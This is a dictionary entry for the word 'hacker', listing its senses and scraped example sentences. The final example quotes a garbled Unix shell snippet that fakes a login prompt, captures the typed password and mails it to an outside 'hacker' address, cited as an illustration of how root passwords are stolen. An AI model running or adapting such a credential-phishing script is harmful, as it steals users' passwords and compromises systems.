IPA: hˈækɝ


  • Someone who hacks.
  • One who cuts with heavy or rough blows.
  • One who is inexperienced or unskilled at a particular activity, especially (sports, originally and chiefly golf), a sport such as golf or tennis.
  • One who is consistent and focuses on accomplishing one or more tasks.
  • One who kicks roughly or wildly.
  • (computer security, telecommunications) One who uses a computer to gain unauthorized access to data stored in, or to carry out malicious attacks on, computer networks or computer systems.
  • (by extension, computer security, telecommunications) Synonym of white hat (“a computer security professional who hacks computers for a good cause, or to aid a company, organization, or government without causing harm (for example, to identify security flaws)”)
  • (by extension, video games, slang) Someone who cheats or gains an unfair advantage in a video game by means of a disallowed modification to the game.
  • (computing, dated) One who is expert at programming and solving problems with a computer.
  • (by extension) One who applies a novel method, shortcut, skill, or trick to something to increase ease, efficiency, or productivity.
  • (obsolete) Synonym of hackster (“a violent bully or ruffian; also, an assassin, a murderer”)
  • Something that hacks; a device or tool for hacking; specifically, an axe used for cutting tree branches or wood.
  • (Britain, regional) A fork-shaped tool used to harvest root vegetables.
  • (US, road transport) One who operates a taxicab; a cabdriver.
  • A surname.


  • (intransitive, chiefly Britain, dialectal, archaic) To speak with a spasmodic repetition of vocal sounds; to stammer, to stutter; also, to mumble and procrastinate in one's speech; to hem and haw.

Examples of "hacker" in Sentences

  • Ian is a computer hacker.
  • The hacker can then sniff the traffic.
  • The hackers themselves announced the hacking.
  • The article does not contain the work hacker.
  • The CEO refuses, and the hacker flees the scene.
  • Now that the factor of a hacker is out of the way.
  • He is the elitest hacker in the enter interuniverse.
  • I removed the link in the article to hacker culture.
  • Hacker is the term used by the criminals and is understood by the public.
  • In actively probing a network, a hacker increases the probability of detection.
  • Be prepared for an argument; your hacker is a rational entity, and presumably had reasons.
  • If you really feel the need, explain the term hacker, or point them to the Wikipedia entry on the term.
  • I believe I know who the hacker is and it is clear that they have connections to the Liberal Democrats.
  • The word "hacker" has an unfairly negative connotation from being portrayed in the media as people who break into computers.
  • "The word 'hacker' has an unfairly negative connotation from being portrayed in the media as people who break into computers," Zuckerberg wrote.
  • Once synonymous with criminals and anarchists, the term hacker now also refers to the good guys in cyberspace, those who have the same skills the bad guys do, only different intentions.
  • A hacker could quickly install a login process like the one described by Morris and Grampp (7): echo - n "login:" read X stty - echo echo - n "password:" read Y echo "" stty echo echo % X%Y | mail outside | hacker& sleep 1 echo Login incorrect stty 0/dev/tty We see that the password of the root user is mailed to the hacker who has completely compromised the Unix system.

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